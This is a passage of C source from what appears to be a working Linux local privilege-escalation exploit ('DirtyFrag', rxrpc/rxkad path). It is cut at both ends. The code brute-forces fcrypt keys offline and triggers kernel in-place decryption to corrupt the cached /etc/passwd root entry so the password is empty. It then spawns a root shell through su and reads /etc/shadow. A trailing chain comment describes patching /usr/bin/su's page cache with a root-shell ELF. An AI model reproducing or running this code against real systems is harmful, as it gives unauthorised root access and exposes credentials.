htobe32((uint32_t)k); 1257 } 1258 1259 #define FC_F(R_, L_, sched_) do { \ 1260 union { uint32_t l; uint8_t c[4]; } u; \ 1261 u.l = (sched_) ^ (R_); \ 1262 L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ 1263 fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ 1264 } while (0) 1265 1266 static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, 1267 uint8_t out[8], const uint8_t in[8]) 1268 { 1269 uint32_t L, R; 1270 memcpy(&L, in, 4); 1271 memcpy(&R, in + 4, 4); 1272 FC_F(L, R, ctx->sched[0xf]); 1273 FC_F(R, L, ctx->sched[0xe]); 1274 FC_F(L, R, ctx->sched[0xd]); 1275 FC_F(R, L, ctx->sched[0xc]); 1276 FC_F(L, R, ctx->sched[0xb]); 1277 FC_F(R, L, ctx->sched[0xa]); 1278 FC_F(L, R, ctx->sched[0x9]); 1279 FC_F(R, L, ctx->sched[0x8]); 1280 FC_F(L, R, ctx->sched[0x7]); 1281 FC_F(R, L, ctx->sched[0x6]); 1282 FC_F(L, R, ctx->sched[0x5]); 1283 FC_F(R, L, ctx->sched[0x4]); 1284 FC_F(L, R, ctx->sched[0x3]); 1285 FC_F(R, L, ctx->sched[0x2]); 1286 FC_F(L, R, ctx->sched[0x1]); 1287 FC_F(R, L, ctx->sched[0x0]); 1288 memcpy(out, &L, 4); 1289 memcpy(out + 4, &R, 4); 1290 } 1291 1292 /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a 1293 * shell field that equals "/bin/bash" (in /etc/shells, valid path). 1294 * The two splices interlock as: 1295 * 1296 * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then 1297 * 4 random gecos-prefix bytes. 1298 * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line 1299 * pos 16, preserves ':' at pos 21 and '/' at pos 22. 1300 * 1301 * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" 1302 * pos 0 8 21 32 1303 * 1304 * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". 1305 * Now `su -s /bin/bash test` proceeds through the restricted_shell() 1306 * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash 1307 * under uid=0. 1308 * 1309 * === 3-splice predicates === 1310 * 1311 * After applying splices A, B, C in order to /etc/passwd line 1 1312 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state 1313 * of chars 4..15 is determined by these P bytes: 1314 * 1315 * char 4 = P_A[0] want: ':' 1316 * char 5 = P_A[1] want: ':' 1317 * char 6 = P_B[0] want: '0' (overwrites P_A[2]) 1318 * char 7 = P_B[1] want: ':' (overwrites P_A[3]) 1319 * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) 1320 * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) 1321 * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' 1322 * char 15 = P_C[7] want: ':' 1323 * 1324 * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they 1325 * are overwritten before /etc/passwd is read by anyone — we only care 1326 * about the final state. */ 1327 static inline int fc_check_pa_nullok(const uint8_t P[8]) 1328 { 1329 return P[0] == ':' && P[1] == ':'; 1330 } 1331 1332 static inline int fc_check_pb_nullok(const uint8_t P[8]) 1333 { 1334 return P[0] == '0' && P[1] == ':'; 1335 } 1336 1337 static inline int fc_check_pc_nullok(const uint8_t P[8]) 1338 { 1339 if (P[0] != '0') return 0; 1340 if (P[1] != ':') return 0; 1341 if (P[7] != ':') return 0; 1342 for (int i = 2; i < 7; i++) { 1343 if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; 1344 } 1345 return 1; 1346 } 1347 1348 static uint64_t fc_splitmix64(uint64_t *s) 1349 { 1350 uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); 1351 z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; 1352 z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; 1353 return z ^ (z >> 31); 1354 } 1355 1356 /* Generic brute-force. `predicate` decides if a P is acceptable. */ 1357 typedef int (*pcheck_fn)(const uint8_t P[8]); 1358 1359 static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, 1360 pcheck_fn check, 1361 uint8_t K_out[8], uint8_t P_out[8], 1362 uint64_t seed_init, 1363 const char *label) 1364 { 1365 fcrypt_uctx ctx; 1366 uint8_t K[8], P[8]; 1367 uint64_t seed = seed_init; 1368 struct timespec ts0, ts1; 1369 clock_gettime(CLOCK_MONOTONIC, &ts0); 1370 1371 for (uint64_t iter = 0; iter < max_iters; iter++) { 1372 uint64_t r = fc_splitmix64(&seed); 1373 memcpy(K, &r, 8); 1374 fcrypt_user_setkey(&ctx, K); 1375 fcrypt_user_decrypt(&ctx, P, C); 1376 1377 if (check(P)) { 1378 memcpy(K_out, K, 8); 1379 memcpy(P_out, P, 8); 1380 clock_gettime(CLOCK_MONOTONIC, &ts1); 1381 double dt = (ts1.tv_sec - ts0.tv_sec) + 1382 (ts1.tv_nsec - ts0.tv_nsec) / 1e9; 1383 LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", 1384 label, 1385 (unsigned long)iter, dt, iter / dt / 1e6, 1386 K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], 1387 P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], 1388 (P[0]>=32&&P[0]<127)?P[0]:'.', 1389 (P[1]>=32&&P[1]<127)?P[1]:'.', 1390 (P[2]>=32&&P[2]<127)?P[2]:'.', 1391 (P[3]>=32&&P[3]<127)?P[3]:'.', 1392 (P[4]>=32&&P[4]<127)?P[4]:'.', 1393 (P[5]>=32&&P[5]<127)?P[5]:'.', 1394 (P[6]>=32&&P[6]<127)?P[6]:'.', 1395 (P[7]>=32&&P[7]<127)?P[7]:'.'); 1396 return 0; 1397 } 1398 1399 if ((iter & 0x3ffffff) == 0 && iter > 0) { 1400 clock_gettime(CLOCK_MONOTONIC, &ts1); 1401 double dt = (ts1.tv_sec - ts0.tv_sec) + 1402 (ts1.tv_nsec - ts0.tv_nsec) / 1e9; 1403 fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", 1404 label, dt, (unsigned long)iter, iter / dt / 1e6); 1405 } 1406 } 1407 return -1; 1408 } 1409 1410 1411 int rxrpc_lpe_main(int argc, char **argv) 1412 { 1413 fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); 1414 fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", 1415 getuid(), geteuid(), getgid()); 1416 1417 { 1418 const char *no_unshare = getenv("POC_NO_UNSHARE"); 1419 if (!no_unshare || *no_unshare != '1') { 1420 const char *do_unshare = getenv("POC_UNSHARE"); 1421 if (do_unshare && *do_unshare == '1') { 1422 if (do_unshare_userns_netns() < 0) return 1; 1423 } 1424 } 1425 } 1426 1427 /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. 1428 * Without this, the first add_key("rxrpc", ...) call fails with ENODEV 1429 * because the kernel key type "rxrpc" is registered by rxrpc_init() in 1430 * the module load path. */ 1431 { 1432 int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); 1433 if (dummy < 0) { 1434 WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); 1435 return 1; 1436 } 1437 close(dummy); 1438 LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); 1439 } 1440 1441 /* Open /etc/passwd RO and mmap the first page (which contains the 1442 * root entry on line 1). */ 1443 const char *target_path = getenv("POC_TARGET_FILE"); 1444 if (!target_path || !*target_path) target_path = "/etc/passwd"; 1445 1446 int rfd_ro = open(target_path, O_RDONLY); 1447 if (rfd_ro < 0) { 1448 WARN("open %s RO: %s", target_path, strerror(errno)); 1449 return 1; 1450 } 1451 struct stat st; 1452 fstat(rfd_ro, &st); 1453 if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } 1454 LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", 1455 target_path, (long long)st.st_size, st.st_uid, st.st_gid, 1456 st.st_mode & 07777); 1457 1458 /* mmap first page so the page-cache page stays pinned. */ 1459 void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); 1460 if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } 1461 LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); 1462 1463 /* If a previous attempt already left the root entry in the patched 1464 * "root::0:0:..." form, treat as success and skip the brute-force / 1465 * trigger stages. Otherwise proceed regardless of current state — 1466 * the brute-force re-derives K_A/K_B/K_C from whatever bytes are 1467 * currently at offsets 4/6/8 of the page-cache page, so it works 1468 * even on the corrupt residue from a previous failed run. */ 1469 { 1470 const char *m = (const char *)map; 1471 if (memcmp(m, "root::0:0", 9) == 0) { 1472 LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); 1473 return 0; 1474 } 1475 LOG("/etc/passwd line 1 first 16 bytes:"); 1476 for (int i = 0; i < 16; i++) 1477 fprintf(stderr, "%02x ", (uint8_t)m[i]); 1478 fprintf(stderr, "\n"); 1479 } 1480 fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); 1481 for (int i = 0; i < 32; i++) { 1482 char c = ((const char *)map)[i]; 1483 fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); 1484 } 1485 fprintf(stderr, "'\n"); 1486 1487 /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === 1488 * 1489 * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search 1490 * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), 1491 * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches 1492 * are user-space only — no kernel/VM interaction. 1493 * 1494 * Last-write-wins ordering: trigger A first (covers 4..11), then B 1495 * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — 1496 * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: 1497 * chars 4..5 = P_A[0..1] 1498 * chars 6..7 = P_B[0..1] 1499 * chars 8..15 = P_C[0..7] 1500 * =================================================================*/ 1501 uint8_t Ca[8], Cb[8], Cc[8]; 1502 int off_a = 4, off_b = 6, off_c = 8; 1503 if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } 1504 if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } 1505 if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } 1506 1507 LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", 1508 off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], 1509 (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', 1510 (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', 1511 (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', 1512 (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); 1513 LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", 1514 off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], 1515 (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', 1516 (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', 1517 (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', 1518 (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); 1519 LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", 1520 off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], 1521 (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', 1522 (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', 1523 (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', 1524 (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); 1525 1526 fcrypt_init_sboxes(); 1527 /* selftest */ 1528 { 1529 fcrypt_uctx ctx; 1530 uint8_t z[8] = {0}; 1531 uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; 1532 uint8_t pv[8]; 1533 fcrypt_user_setkey(&ctx, z); 1534 fcrypt_user_decrypt(&ctx, pv, cv); 1535 if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } 1536 } 1537 LOG("fcrypt selftest OK"); 1538 1539 uint8_t Ka[8], Pa_out[8]; 1540 uint8_t Kb[8], Pb_out[8]; 1541 uint8_t Kc[8], Pc_out[8]; 1542 uint8_t Cb_actual[8], Cc_actual[8]; 1543 1544 { 1545 uint64_t max_iters = 10000000000ULL; 1546 const char *e = getenv("LPE_MAX_ITERS"); 1547 if (e) max_iters = strtoull(e, NULL, 0); 1548 uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); 1549 const char *se = getenv("LPE_SEED"); 1550 if (se) seed_base = strtoull(se, NULL, 0); 1551 1552 fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); 1553 if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, 1554 Ka, Pa_out, seed_base, "K_A") != 0) { 1555 WARN("K_A search exhausted"); return 2; 1556 } 1557 1558 /* After splice A is applied, the ciphertext that splice B will 1559 * see at file offset 6 is NOT the original Cb — it's the bytes 1560 * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus 1561 * the original bytes 12..13 (= Cb[6..7]). We must derive 1562 * Cb_actual and search K_B against it. */ 1563 memcpy(Cb_actual, Pa_out + 2, 6); 1564 memcpy(Cb_actual + 6, Cb + 6, 2); 1565 LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", 1566 Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], 1567 Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); 1568 1569 fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); 1570 if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, 1571 Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, 1572 "K_B") != 0) { 1573 WARN("K_B search exhausted"); return 2; 1574 } 1575 1576 /* Same chaining logic for splice C: after splice B, file offsets 1577 * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original 1578 * bytes Cc[6..7]. */ 1579 memcpy(Cc_actual, Pb_out + 2, 6); 1580 memcpy(Cc_actual + 6, Cc + 6, 2); 1581 LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", 1582 Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], 1583 Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); 1584 1585 fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); 1586 if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, 1587 Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, 1588 "K_C") != 0) { 1589 WARN("K_C search exhausted"); return 2; 1590 } 1591 } 1592 1593 fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); 1594 /* chars 4-5 from P_A */ 1595 for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); 1596 /* chars 6-7 from P_B */ 1597 for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); 1598 /* chars 8-15 from P_C */ 1599 for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); 1600 fprintf(stderr, "/root:/bin/bash\"\n"); 1601 1602 /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === 1603 * Each trigger does a single in-place decrypt at the 1604 * indicated /etc/passwd file offset. Last-write-wins on overlapping 1605 * bytes determines the final state. 1606 */ 1607 fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); 1608 memcpy(SESSION_KEY, Ka, 8); 1609 if (do_one_trigger(rfd_ro, off_a, 8) < 0) { 1610 WARN("kernel trigger A failed"); return 3; 1611 } 1612 1613 fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); 1614 memcpy(SESSION_KEY, Kb, 8); 1615 if (do_one_trigger(rfd_ro, off_b, 8) < 0) { 1616 WARN("kernel trigger B failed"); return 3; 1617 } 1618 1619 fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); 1620 memcpy(SESSION_KEY, Kc, 8); 1621 if (do_one_trigger(rfd_ro, off_c, 8) < 0) { 1622 WARN("kernel trigger C failed"); return 3; 1623 } 1624 1625 /* Verify: re-read line 1 of /etc/passwd via mmap. */ 1626 fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); 1627 for (int i = 0; i < 32; i++) { 1628 char c = ((const char *)map)[i]; 1629 fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); 1630 } 1631 fprintf(stderr, "'\n"); 1632 1633 /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ 1634 { 1635 const char *m = (const char *)map; 1636 int ok = (m[4] == ':' && m[5] == ':' && 1637 m[6] == '0' && m[7] == ':' && 1638 m[8] == '0' && m[9] == ':' && 1639 m[15] == ':'); 1640 if (!ok) { 1641 WARN("post-trigger sanity check failed — char layout off"); 1642 return 4; 1643 } 1644 } 1645 fprintf(stderr, 1646 "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " 1647 "gid=0, dir=/root, shell=/bin/bash.\n"); 1648 1649 /* === STAGE 3 — VERIFY VIA getent passwd root === */ 1650 fprintf(stderr, 1651 "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); 1652 { 1653 int p[2]; 1654 if (pipe(p) == 0) { 1655 pid_t pid = fork(); 1656 if (pid == 0) { 1657 close(p[0]); 1658 dup2(p[1], 1); 1659 dup2(p[1], 2); 1660 close(p[1]); 1661 execlp("getent", "getent", "passwd", "root", NULL); 1662 _exit(127); 1663 } 1664 close(p[1]); 1665 char buf[1024]; 1666 ssize_t r = read(p[0], buf, sizeof(buf) - 1); 1667 close(p[0]); 1668 int wstatus = 0; 1669 waitpid(pid, &wstatus, 0); 1670 if (r > 0) { 1671 buf[r] = 0; 1672 fprintf(stderr, "[getent passwd root] %s", buf); 1673 } 1674 fprintf(stderr, 1675 "[+] PRIMITIVE proven: root entry has empty passwd field " 1676 "via NSS.\n"); 1677 } 1678 } 1679 1680 /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so 1681 * the chain wrapper can skip the in-process su PTY stage and exec 1682 * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ 1683 { 1684 int co_flag = 0; 1685 for (int i = 1; i < argc; i++) 1686 if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } 1687 const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); 1688 if (e && *e == '1') co_flag = 1; 1689 if (co_flag) return 0; 1690 } 1691 1692 /* === STAGE 4 — `su` (target=root, no password input) === 1693 * PAM common-auth contains "auth [success=2 default=ignore] 1694 * pam_unix.so nullok" — so a target user with empty passwd field 1695 * + nullok flag accepts an empty password. We auto-inject a 1696 * single newline on the "Password:" prompt and then bridge the 1697 * resulting bash to the user's tty. */ 1698 fprintf(stderr, 1699 "\n=== STAGE 4: spawning interactive root shell via `su` " 1700 "(no password input needed) ===\n\n"); 1701 fflush(stderr); 1702 1703 int master = posix_openpt(O_RDWR | O_NOCTTY); 1704 if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { 1705 WARN("posix_openpt: %s", strerror(errno)); 1706 return 5; 1707 } 1708 char *slave_name = ptsname(master); 1709 1710 struct winsize ws; 1711 if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { 1712 ioctl(master, TIOCSWINSZ, &ws); 1713 } 1714 1715 pid_t pid = fork(); 1716 if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } 1717 if (pid == 0) { 1718 /* child */ 1719 setsid(); 1720 int slave = open(slave_name, O_RDWR); 1721 if (slave < 0) _exit(127); 1722 ioctl(slave, TIOCSCTTY, 0); 1723 dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); 1724 if (slave > 2) close(slave); 1725 close(master); 1726 /* `su` with no args targets root. PAM common-auth's pam_unix.so 1727 * nullok accepts the empty passwd we planted in /etc/passwd. */ 1728 execlp("su", "su", NULL); 1729 _exit(127); 1730 } 1731 1732 /* parent: bridge user's tty <-> master. */ 1733 struct termios saved_termios; 1734 int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); 1735 if (saved_termios_ok) { 1736 struct termios raw = saved_termios; 1737 cfmakeraw(&raw); 1738 tcsetattr(STDIN_FILENO, TCSANOW, &raw); 1739 } 1740 1741 int auto_pw_sent = 0; 1742 int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ 1743 char buf[4096]; 1744 /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject 1745 * `id; whoami; exit\n` so it can prove uid=0 non-interactively 1746 * (e.g. when stdin is /dev/null in CI). */ 1747 int auto_verify = 0; 1748 { 1749 const char *e = getenv("LPE_AUTO_VERIFY"); 1750 if (e && *e == '1') auto_verify = 1; 1751 } 1752 int verify_sent = 0; 1753 int total_ms = 0; 1754 for (;;) { 1755 struct pollfd pfds[2] = { 1756 { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, 1757 { master, POLLIN, 0 }, 1758 }; 1759 int pr = poll(pfds, 2, 200); 1760 if (pr < 0 && errno != EINTR) break; 1761 total_ms += 200; 1762 1763 if (pfds[1].revents & POLLIN) { 1764 ssize_t n = read(master, buf, sizeof(buf)); 1765 if (n <= 0) break; 1766 (void)write(STDOUT_FILENO, buf, n); 1767 if (!auto_pw_sent && (size_t)n < sizeof(buf)) { 1768 buf[n] = 0; 1769 if (strstr(buf, "Password") || strstr(buf, "password")) { 1770 /* Empty password — PAM nullok will accept it. 1771 * (When pam_unix sees an empty passwd field plus 1772 * nullok it skips the prompt entirely; this branch 1773 * handles the case where some other PAM module 1774 * prints a prompt anyway.) */ 1775 (void)write(master, "\n", 1); 1776 auto_pw_sent = 1; 1777 } 1778 } 1779 } 1780 if (!stdin_eof && (pfds[0].revents & POLLIN)) { 1781 ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); 1782 if (n <= 0) { 1783 /* stdin EOF — stop reading from it but keep bridging 1784 * master → stdout so su can still finish auth and run 1785 * the optional auto-verify command. */ 1786 stdin_eof = 1; 1787 } else { 1788 (void)write(master, buf, n); 1789 } 1790 } 1791 if (pfds[1].revents & (POLLHUP | POLLERR)) break; 1792 1793 /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so 1794 * the bridge captures uid=0 evidence non-interactively even 1795 * when pam_unix's blank-passwd path skips the prompt. */ 1796 if (auto_verify && !verify_sent && total_ms >= 1000) { 1797 const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; 1798 (void)write(master, cmd, sizeof(cmd) - 1); 1799 verify_sent = 1; 1800 } 1801 1802 int status; 1803 pid_t w = waitpid(pid, &status, WNOHANG); 1804 if (w == pid) { 1805 for (int i = 0; i < 5; i++) { 1806 struct pollfd pf = { master, POLLIN, 0 }; 1807 if (poll(&pf, 1, 50) <= 0) break; 1808 ssize_t n = read(master, buf, sizeof(buf)); 1809 if (n <= 0) break; 1810 (void)write(STDOUT_FILENO, buf, n); 1811 } 1812 break; 1813 } 1814 } 1815 if (saved_termios_ok) { 1816 tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); 1817 } 1818 close(master); 1819 return 0; 1820 } 1821 /* 1822 * DirtyFrag chain — uid=1000 → root. 1823 * 1824 * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first 1825 * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- 1826 * shell ELF. Works on every distro tested regardless of PAM nullok 1827 * or /etc/passwd contents — once invoked, the patched setuid-root 1828 * /usr/bin/su just execs /bin/sh as uid 0. 1829 * 1830 * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP 1831 * path can't reach the page cache, fall back to the rxrpc/rxkad 1832 * nullok primitive that patches /etc/passwd's root entry empty. 1833 * PAM nullok then accepts the empty password during `su -`. 1834 * 1835 * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a 1836 * fresh PTY and bridge the user's tty to it. The bridge handles 1837 * both the patched-su (no PAM at all) and the patched-passwd (PAM 1838 * nullok) cases uniformly, and works even when the caller is in a 1839 * background process group of an ssh-allocated PTY. 1840 * 1841 */ 1842 #define _GNU_SOURCE 1843 #include <stdio.h> 1844 #include <stdlib.h> 1845 #include <string.h> 1846 #include <unistd.h> 1847 #include <errno.h> 1848 #include <fcntl.h> 1849 #include <sched.h> 1850 #include <poll.h> 1851 #include <signal.h> 1852 #include <termios.h> 1853 #include <sys/ioctl.h> 1854 #include <sys/wait.h> 1855 #include <sys/types.h> 1856 #include <stdint.h> 1857 1858 extern int su_lpe_main(int argc, char **argv); 1859 extern int rxrpc_lpe_main(int argc, char **argv); 1860 1861 /* 1862 * The 8 bytes our su payload places at file offset 0x78 — the first 1863 * instructions of the embedded shell ELF. Sequence: 1864 * 31 ff xor edi, edi 1865 * 31 f6 xor esi, esi 1866 * 31 c0 xor eax, eax 1867 * b0 6a mov al, 0x6a (setgid) 1868 * Distros' original /usr/bin/su has different bytes here, so this is 1869 * a reliable post-patch marker. 1870 * 1871 * (We don't check offset 0 because /usr/bin/su already has the ELF 1872 * magic there — both before and after we patch.) 1873 */ 1874 static const uint8_t su_marker[8] = { 1875 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 1876 }; 1877 1878 static int su_already_patched(void) 1879 { 1880 int fd = open("/usr/bin/su", O_RDONLY); 1881 if (fd < 0) 1882 return 0; 1883 uint8_t got[8]; 1884 ssize_t n = pread(fd, got, sizeof(got), 0x78); 1885 close(fd); 1886 if (n != sizeof(got)) 1887 return 0; 1888 return memcmp(got, su_marker, sizeof(su_marker)) == 0; 1889 } 1890 1891 static int passwd_already_patched(void) 1892 { 1893 int fd = open("/etc/passwd", O_RDONLY); 1894 if (fd < 0) 1895 return 0; 1896 char head[16]; 1897 ssize_t n = pread(fd, head, sizeof(head), 0); 1898 close(fd); 1899 if (n < 9) 1900 return 0; 1901 return memcmp(head, "root::0:0", 9) == 0; 1902 } 1903 1904 static int either_target_patched(void) 1905 { 1906 return su_already_patched() || passwd_already_patched(); 1907 } 1908 1909 static void silence_stderr(int *saved_fd) 1910 { 1911 *saved_fd = dup(STDERR_FILENO); 1912 int dn = open("/dev/null", O_WRONLY); 1913 if (dn >= 0) { 1914 dup2(dn, STDERR_FILENO); 1915 close(dn); 1916 } 1917 } 1918 1919 static void restore_stderr(int saved_fd) 1920 { 1921 if (saved_fd >= 0) { 1922 dup2(saved_fd, STDERR_FILENO); 1923 close(saved_fd); 1924 } 1925 } 1926 1927 static char **append_corrupt_only(int argc, char **argv, int *new_argc) 1928 { 1929 static char *flag = "--corrupt-only"; 1930 static char *buf[64]; 1931 int n = argc < 60 ? argc : 60; 1932 for (int i = 0; i < n; i++) 1933 buf[i] = argv[i]; 1934 buf[n] = flag; 1935 buf[n + 1] = NULL; 1936 *new_argc = n + 1; 1937 return buf; 1938 } 1939 1940 static void exec_su_login(void) 1941 { 1942 const char *paths[] = { 1943 "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, 1944 }; 1945 for (int i = 0; paths[i]; i++) 1946 execl(paths[i], "su", "-", (char *)NULL); 1947 execlp("su", "su", "-", (char *)NULL); 1948 } 1949 1950 /* 1951 * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. 1952 */ 1953 static int run_root_pty(void) 1954 { 1955 int master = posix_openpt(O_RDWR | O_NOCTTY); 1956 if (master < 0) 1957 return -1; 1958 if 